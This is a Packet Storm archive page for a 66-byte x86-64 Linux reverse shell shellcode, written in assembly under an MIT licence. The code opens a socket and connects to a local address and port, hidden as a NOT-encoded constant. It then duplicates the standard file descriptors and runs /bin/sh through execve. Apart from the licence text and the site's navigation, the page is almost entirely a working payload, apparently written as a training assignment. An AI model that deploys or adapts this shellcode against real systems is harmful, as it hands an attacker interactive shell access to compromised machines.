what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Linux Reverse Shell Shellcode

Linux Reverse Shell Shellcode
Posted Feb 19, 2017
Authored by Robert L. Taylor

66 bytes small Linux reverse shell shellcode.

tags | shell, shellcode
systems | linux
SHA-256 | ac5aae7f2fc7d18254a249e3f75474e8cc7cdd7bb31eb5bda5f73269177e8bac

Linux Reverse Shell Shellcode

Change Mirror Download
;The MIT License (MIT)

;Copyright (c) 2017 Robert L. Taylor

;Permission is hereby granted, free of charge, to any person obtaining a
;copy of this software and associated documentation files (the aSoftwarea),
;to deal in the Software without restriction, including without limitation
;the rights to use, copy, modify, merge, publish, distribute, sublicense,
;and/or sell copies of the Software, and to permit persons to whom the
;Software is furnished to do so, subject to the following conditions:

;The above copyright notice and this permission notice shall be included
;in all copies or substantial portions of the Software.

;The Software is provided aas isa, without warranty of any kind, express or
;implied, including but not limited to the warranties of merchantability,
;fitness for a particular purpose and noninfringement. In no event shall the
;authors or copyright holders be liable for any claim, damages or other
;liability, whether in an action of contract, tort or otherwise, arising
;from, out of or in connection with the software or the use or other
;dealings in the Software.
;
; For a detailed explanation of this shellcode see my blog post:
; http://a41l4.blogspot.ca/2017/02/assignment-2b.html

global _start
section .text
_start:
; Socket
push 41
pop rax
push 2
pop rdi
push 1
pop rsi
cdq
syscall
; Connect
xchg edi, eax
push rdx
mov rbx, 0xfeffff80a3eefffd ; not encoded 0x0100007f5c110002
not rbx
push rbx
mov al, 42
push rsp
pop rsi
mov dl, 16
syscall
; Dup 2
push 3
pop rsi
dup2loop:
mov al, 33
dec esi
syscall
loopnz dup2loop
; Execve
; rax and rsi are zero from the result of the last dup2 syscall and loop
push rax ; zero terminator for the following string that we are pushing

mov rbx, '/bin//sh'
push rbx

; store /bin//sh address in RDI
push rsp
pop rdi

cdq ; zero rdx

mov al, 59
syscall

Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close